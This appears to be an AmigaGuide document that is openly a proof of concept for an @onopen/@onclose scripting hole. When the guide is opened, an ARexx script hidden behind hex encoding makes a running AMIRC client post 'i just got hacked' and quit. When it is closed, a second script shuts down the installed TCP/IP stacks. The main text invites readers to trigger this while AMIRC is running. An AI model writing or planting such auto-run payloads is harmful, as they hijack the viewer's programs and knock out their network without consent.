@database 
@onopen "'options failat 99;options results;do ix=9 to 1 by -1; if show(ports,AMIRC.||ix) then do; shell value AMIRC.ix; naks=x2c(27)say shit i just got hacked.||x2c(27)||x2c(3b)||x2c(27)||say x2c(2f)||quit hacked x2c(3a)||x2c(29)||x2c(27); interpret naks; quit; end; end;'"
@onclose "'options failat 99;options results; if show(ports,NETCONNECT) then do; shell NETCONNECT; quit; end; if show(ports,GENESIS) then do; shell GENESIS; quit; end; if show(ports,AMITCP) then do; shell AMITCP; quit; end; if show(ports,MIAMI.1) then do; shell MIAMI.1; quit; end;'"
@node x " "
x2c( ||x2c||x2c(28)||
   ) ||x2c(29)||

  ||x2c(20)||
: ||x2c(3a)||
; ||x2c(3b)||
/ ||x2c(2f)||
( ||x2c(28)||
) ||x2c(29)||
+ ||x2c(2b)||
- ||x2c(2d)||
. ||x2c(2e)||
, ||x2c(2c)||
' ||x2c(27)||
< ||x2c(3c)||
> ||x2c(3e)||
@endnode
@node main "simple @onopen/@onclose hole demonstration"

Just try to view this guide when AMIRC is running. ;-)

Oh and quitting this document will quit all tcp/ip stacks. <g>


Here are some extras:

@{"saveas" rxs "host=address(); parse var host mv '.' n1 '.' n2; shell value mv||.||n1; saveas"}
@{"about" rxs "host=address(); parse var host mv '.' n1 '.' n2; shell value mv||.||n1; about"}
@{"displaybeep" rxs "host=address(); parse var host mv '.' n1 '.' n2; shell value mv||.||n1; beepscreen"}
@{"window to back" rxs "host=address(); parse var host mv '.' n1 '.' n2; shell value mv||.||n1; windowtoback"}
@{"window to front" rxs "host=address(); parse var host mv '.' n1 '.' n2; shell value mv||.||n1; windowtofront"}
@{"minimize" rxs "host=address(); parse var host mv '.' n1 '.' n2; shell value mv||.||n1; minimumsize"}
@{"normalize" rxs "host=address(); parse var host mv '.' n1 '.' n2; shell value mv||.||n1; normalsize"}
@{"maximize" rxs "host=address(); parse var host mv '.' n1 '.' n2; shell value mv||.||n1; maximumsize"}
@{"quit" rxs "host=address(); parse var host mv '.' n1 '.' n2; shell value mv||.||n1; quit"}
@endnode
